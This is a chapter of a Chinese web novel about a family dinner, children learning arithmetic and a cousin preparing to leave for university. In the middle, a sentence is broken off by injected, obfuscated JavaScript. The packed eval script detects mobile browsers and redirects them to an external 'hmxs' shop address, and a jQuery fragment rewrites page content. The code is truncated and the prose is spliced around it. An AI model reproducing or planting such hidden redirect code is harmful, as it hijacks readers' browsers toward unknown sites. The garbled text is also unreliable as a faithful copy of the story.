随棠他们在房间里待了一下午。
随棠只要看进了书,就会下意识屏蔽周围的环境。自然也就屏蔽了在随宏和善地去教随良写数学题时多次的暴躁和怒骂。
但随棣听得一清二楚。
心有戚戚焉想到,幸好他哥教他学习的时候从来不骂他。
随老太太来喊几个孙子孙女吃饭时,就见到随良耷着脑袋,顿时了然笑道:“没写出题你哥又骂你了?”
本来已经跨出门槛的随宏倒退一步,这锅他可不背,“奶,是良子太笨了,小棣都比他聪明!”
一道基础的数学填空题问,一百毫升的水倒进杯子里装满,杯子的容积是多少升?
随宏怎么暗示提示都没用,甚至明示到随棣都抬起头报出了正确答案。
这可不把随宏气的火冒三丈吗?
随良愤愤:“大哥!”
走在两个小堂弟后面的随琇捂嘴笑出声。
随棠默默揉了一把小胖墩。
忽然觉得小胖墩也不是那么笨了。
但随良委屈大发了,被大哥骂了不算,连小妹也要笑他。
坐上桌吃完饭时开始叽叽喳喳给王英芬告状。
随宏那肯定不服,筷子都没放下开始比划下午发生的事。
等随宏讲完,却发现他爸妈已经偏到了其他的关注点上。
“弟妹,你家棠棠这是文曲星哟!”
王英芬不知道英语是什么,但她能听明白自家考上了大学的儿子都看不懂的书,随棠一个八岁的小人儿却能看懂,这不是文曲星下凡是什么!
随长剑也惊讶地看向他弟弟。
随长锋正想炫耀,林江月按住了他放在桌下的手。
“嫂子,这算什么文曲星,棠棠还小呢,不比宏宏,都是大学生了!”
王英芬还想说:“弟妹,这俗话说三岁看老……”
话虽如此,但她心里回过味来又觉得林江月说的没毛病,孩子还小,都说不准呢。
她家宏宏是稳稳当当的大学生。
“嫂子。”林江月笑着打断,“宏宏几号去学校报道来着?”
桌上所有人的目光落到了随宏身上。
随宏伸长胳膊夹了一筷子对面的菜,“三月五到三月八报道。”
随老太太连饭都不吃了,去房间把墙上的挂历摘下来,对着灯算:“今天初九了,还有、还有……”
随棠道:“还有九天。”
不算还好,这一算才发现除掉今天居然不到九天了!
随长剑扒了两口饭,拍板道:“明天就去村支书开证明买火车票。”
王英芬问:“咱家不摆酒?”
“别别别。”随宏饭都没咽下,“千万别摆!”
跟他一块考的几个同学都没上,就他录上了,这摆了酒闹得人家心里头也不舒服。
但这话随宏没说,他妈也不会理解,“妈,摆酒太麻烦了,我还得收拾东西寄过去!”
林江月这时淡声道:“宏宏可以提前几天去首都,到时候去我爸妈家里头住几天,熟悉熟悉路也好。”
“这、这会不会太麻烦了……”
王英芬心下一动,迟疑着拒绝。
“嫂子,这可是你说的,一家人不说两家话。”
林江月笑道:“这算什么麻烦,就我爸妈两个人住,他们还嫌清冷呢。”
随棣点头肯定,“外公外婆家里没有小孩子,随宏哥睡我和我哥的房间呗!”
眼见王英芬还在犹豫不决,随老太太说:“我看成,到时候让宏宏替我和老头子捎点土货去拜访亲家!”
“行!”
王英芬这才利索应了,又给两小侄子舀了满满一勺的炒鸡蛋。
随棠正埋头吃着饭,好不容易见底了,忽然又降下小半碗鸡蛋。
“……”
他真吃不下了。
趁大伯娘还在和他妈聊天没看这边,连忙桌底下扯了扯小胖墩衣角。
然后悄悄在桌底下把鸡蛋暗度陈仓到了小胖墩碗里。
林江月和随长锋也看见了,不仅没说还帮着打了掩护。
“嫂子,宏宏来县城里坐车前先来家里一趟吧。”
随长锋道:“我和江月写封信,托宏宏过去。”
王英芬自是没有不答应的。
一顿饭吃的七七八八后,随长锋跟随老太太说:“妈,我和江月得回县里了。”
随长剑看了一眼外边,“天都黑了,在家里住一晚?”
“不了哥。”随长锋轻轻碰了碰两儿子的脸蛋,“我和江月明早还要上班,晚上住下了明天赶不回去。”
随老太太跟王英芬道:“老大家的,去把我屋里头的手电筒拿给长锋和江月。”
王英芬便小跑着去取,回来的时候手里抓了两支手电筒。
她不仅拿了老太太房间里的,也顺带把她房间里的手电筒也拿来了。
“弟妹,你和长锋一人一把看路也看得更清。”
林江月笑着接过,“行,谢谢妈还有嫂子。”
临了出正堂前,夫妻俩弯腰抱了抱两孩子,叮嘱道:“棠棠和小棣要听话,在村子里玩也不要跑太远知道吗?”
“爸爸妈妈过几天就来接你们,有什么事就和奶奶他们说。”
随棣急不可待地点头。
住在奶奶家他就可以随便吃零嘴了!
随棠说:“我会照顾好弟弟的。”
林江月失笑,“小棣除了学习,别的用不着你照顾,棠棠要照顾好自己才对。”
为了不真的赶夜路回家,夫妻俩没再多说什么,等两孩子进了房间,才蹬着自行车离开了。
随琇等小叔和婶婶离开后才悄悄躲在门口往里面看。
虽然没怎么相处过,但是随琇对两个小堂弟的好感居高不下。
无他,唯脸。
随琇私心里认为,两个小堂弟比她见过的小人画里的神仙还好看。
尤其是以前呆呆愣愣像小木偶人的随棠,现在则是像活了过来的布娃娃。
更何况在今天又发现了小堂弟惊人的聪明,心里的喜爱又更添一层。
随棠注意到门口的堂姐,就冲她弯了弯眼睛,“随琇姐?”
随琇脸一红,往后躲了躲,随良不知何时从她身后冒出来,随琇瞧见自家二哥的脸,踮脚捶了他肩膀一拳。
随良还在气大哥说他笨,又挨了这一拳,心更是哗哗的碎。
王英芬端着热水盆进来,见堵在门口不知道干嘛的两人,催道:“快去接水洗脸泡脚,等会要睡觉了。”
听到他妈的催促,随宏也来撵人了,“走走走,别傻站着。”
他跟随良睡一屋,随琇睡正堂后新建的一间小房间。
房间里随棠和随棣在王英芬的帮助下已经擦完了脸。
随棣在奶奶家住的多,因此早就有自己的小毛巾,随棠没住过,这回的毛巾还是从家里特地带过来。
王英芬瞧着两人乖乖地自己洗脸泡脚,完了还会奶声奶气跟她说谢
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17030467|194008||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谢伯娘,心里头别提多舒坦。
要不怎么说弟妹是生养在大城市里的人呢,就连生的孩子也比他们乡下的漂亮聪明。
幸好她家随宏也是争气的。
如此想着,端水离开前还给随棠和随棣掖了掖被角,“晚上要尿尿就来喊伯娘,伯娘同你们去。”
村里的茅厕一般都修在外头,讲究点的人家就在屋里放个夜壶。
随家没有这玩意,因为他们家茅厕就在院子角,不用出去外面。
只是担心两小侄子还不熟悉布局,所以才准备陪着去上厕所。
随棠半张脸埋在被子里,小幅度晃了晃脑袋,“谢谢大伯娘,我知道啦!”
见没别的事了王英芬才拿着盆离开房间,顺带把门也带上防止进风。
白天很喜欢的窗台也落下了闩,透着窗缝能望见朦朦胧的月光。
随棠闭了闭眼,耳边除了小胖墩的呼吸声竟是难得的安静,在县城和首都住时,入夜后多多少少还是能听到外边的声响。
随棣睡不着,想和他哥聊会天,便很小声地问:“哥,睡了吗?”
随棠闭眼不答。
随棣锲而不舍:“哥,睡着了吗?”
随棠便睁开眼,侧过身看他,“7+8等于多少?”
“……”
随棣宁愿回答题目也不想睡,在被窝里掰着手指头数了一会,“15!”
“11+4?”
“还是15!”
“17+15?”
这回随棣不吭声了。
两位数加减他要列竖式才会算!
“……哥,困了,咱睡觉吧!”
——
随棠一夜好眠,被随老太太来喊吃早饭时,随棣挂着黑眼圈爬起来。
随棠目光一顿。
小胖墩没睡好?
感受到哥哥视线的随棣幽幽抬眼,“哥,我在梦里算了一晚上题目!”
随棠嘴角一翘。
“所以哥,我今天能不做算术题了吗?”
随棠想了想,“行。”
今天做单位换算也是一样的。
随棣还不知道他哥已经给他安排上了别的,在吃过早饭随宏问要不要一块去田里时快快乐乐答应了。
现在二月底,五月就要插秧,所以现在在插秧前翻好土肥田外加育苗。
春耕前这段时间也是最忙的,去田里的一段路,蜿蜒窄小的泥土路两边的田埂里,早就有人开始躬身翻土了。
因此随棠他们走的这一路都有人热情上来聊几句,有不认识随棠和随棣,在知道是随家最出息的那个三儿子家的,也会竖起拇指夸一句,“长得就跟地里刨食的小孩不一样。”
因为下田的人不管大人小孩,大多都是穿着破旧打了补丁的衣服,为了防止糟蹋好衣服。
到了随家负责的那块田,随家几个大人都挽起裤脚下田去了。
轮到随宏也准备下去时,随老太太走过来,上下瞧了瞧随棠和随棣。
他俩穿的是江清他们在首都买的新衣服,干净整洁且崭新。
随老太太说:“宏宏,你就别下来了,带他们去打猪草。”这活比下地轻省。
再加上需要翻的土在昨天下午已经被随长锋他们爷三干的七七八八,剩下的只要收个尾就行。
随宏没吭声,比划下两小堂弟的身高,恐怕还没猪草高,便道:“我带他们去挖野菜吧。”
“也成,挖嫩点的,中午让你妈和腊肉一起炒。”